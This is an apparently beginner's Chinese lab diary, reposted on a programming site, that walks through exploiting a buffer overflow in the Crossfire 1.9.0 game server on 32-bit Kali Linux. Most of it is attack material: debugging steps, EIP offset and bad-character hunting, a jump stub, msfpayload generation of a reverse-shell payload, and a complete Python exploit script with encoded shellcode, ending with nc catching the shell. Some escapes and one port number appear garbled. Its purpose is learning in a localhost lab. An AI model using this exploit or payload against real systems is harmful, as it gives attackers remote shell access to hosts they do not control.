概述
Linux系统下穿越火线-缓冲区溢出
原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。
工具:
调试工具:edb;
###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势
实验对象:crossfire【多人在线RPG游戏】
运行平台:Kali i686 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化本章操作,所以选用32位】
搭建实验环境
新版本Linux内核支持内存保护机制#linux中,游戏需安装带其game文件夹
服务器端程序
#若出现缺少什么组件,可以相应去安装一下,只要看到出现waiting for connect,则基本没问题root@kali:~# cd Desktop root@kali:~/Desktop# ls crossfire.tar.gz root@kali:~/Desktop# mv crossfire.tar.gz /usr/games root@kali:~/Desktop# cd /usr/games/ root@kali:/usr/games# ls crossfire.tar.gz root@kali:/usr/games# tar zxpf crossfire.tar.gz root@kali:/usr/games# ls -lh total 4.8M drwxr-xr-x 8 root root 4.0K Feb 10 2010 crossfire -rwxrwx--- 1 root root 4.8M Aug 30 05:16 crossfire.tar.gz root@kali:/usr/games# cd crossfire/ root@kali:/usr/games/crossfire# cd bin/ root@kali:/usr/games/crossfire/bin# ls crossedit crossfire-config crossloop.pl player_dl.pl crossfire crossloop crossloop.web root@kali:/usr/games/crossfire/bin#
查看端口开放情况【13327】
调试工具root@kali:~# netstat -pantu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:13327 0.0.0.0:* LISTEN 4147/./crossfire udp 0 0 0.0.0.0:68 0.0.0.0:* 629/dhclient
###也可用命令行来打开
本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】DEP、ASLR、堆栈cookies、堆栈粉碎
iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327
iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡4444
调试工具
root@kali:~# iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP root@kali:~# iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP root@kali:~# iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere !localhost tcp dpt:13327 DROP tcp -- anywhere !localhost tcp dpt:4444 Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination root@kali:~#
01.py使用edb调试工具启动服务进行调试
edb --run /usr/games/crossfire/bin/crossfire
#需要重复点击两个Debug->run
查看EIP等寄存器地址,需要双击
唯一字符串精确定位EIP位置
edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗#!/usr/bin/python import socket host = "127.0.0.1" crash = "x41" * 4379 ###crossfire必须在发送数值大小在一个固定数值的时候才能发生缓冲区溢出,只有当发送4379字符时,才能精确到溢出位置### buffer = "x11(setup sound " +crash+ "x90x90#)" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,1327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
可确认存在缓冲区溢出漏洞
#通过修改发送“A”的数值,可验证只有当字符数量为4379才能精确修改EIP寄存器
思路:【需考虑普适性】
将唯一字符串添加到 02.py/usr/share/metasploit-‐framework/tools/exploit/pattern_create.rb 4379
双击EIP
使用./pattren_offset.rb计算偏移量
则4368后四个字符为EIP地址
验证位置03.py
查看ESP数据部分Fellow in Dump
###因为ESP只能添7个字符才能精确修改EIP,所以shellcode不能放在ESP寄存器中。因此在剩下的寄存器中寻找
逐个查找,发现EAX可用
【因为setup sound为服务器指令,所以前十二个字符须先发送setup sound】
存在一个理论,直接在EAX的地址上加上12,可实现跳转,但是很大可能换一台机器后可能无法实现溢出,因为不同系统的EAX地址可能不一样
第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符
###一个5个字节,足够插进ESP中,实现跳转到EAX
x83xc0x0cxffxe0x90x90 #x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】
04.py
寻址查看ESP
#因为ESP的内存地址也不是固定的,所以需在系统中寻找固定跳转模块
查找坏字符利用edb中的插件Opcode search
使用第一个进程08048000,只要程序在运行,这个进程将一直存在,可以用于寻找jmp esp
###EIP->jmp ESP->ESP->EAX
04+.py###x00x0ax0dx20
将256个编码放进脚本中逐一查找
设置断点(0x08134597)
EIP——08134597
则EIP跳转地址为
crash = "x41" * 4368 + "x97x45x13x08"【EIP】 + "x83xc0x0cxffxe0x90x90"【EAX】
设置断点
->运行[F9]
按F8执行下一步
再按F8就跳入ESP寄存器
将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】
生成shellcode姿势
root@kali:/usr/share/framework2# ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "x00x0ax0dx20"
注:在生成shellcode时,如果生成的shellcode不正确,可通过重启,解决
#!/usr/bin/python import socket host = "127.0.0.1" shellcode = ( "xbbx6dx65x9bxcdxdbxddxd9x74x24xf4x5fx2bxc9"+ "xb1x14x83xc7x04x31x5fx10x03x5fx10x8fx90xaa"+ "x16xb8xb8x9exebx15x55x23x65x78x19x45xb8xfa"+ "x01xd4x10x92xb7xe8x85x3exd2xf8xf4xeexabx18"+ "x9cx68xf4x17xe1xfdx45xacx51xf9xf5xcax58x81"+ "xb5xa2x05x4cxb9x50x90x24x85x0exeex38xb0xd7"+ "x08x50x6cx07x9axc8x1ax78x3ex61xb5x0fx5dx21"+ "x1ax99x43x71x97x54x03") crash = shellcode + "A"*(4368-105) + "x97x45x13x08" + "x83xc0x0cxffxe0x90x90" buffer = "x11(setup sound " +crash+ "x90x90#)" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
#打开侦听4444端口【当有人连接4444的时候,则getshell】
nc 127.0.0.1 4444 ###获得shell
小白日记,未完待续……
最后
以上就是纯真犀牛为你收集整理的小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0的全部内容,希望文章能够帮你解决小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复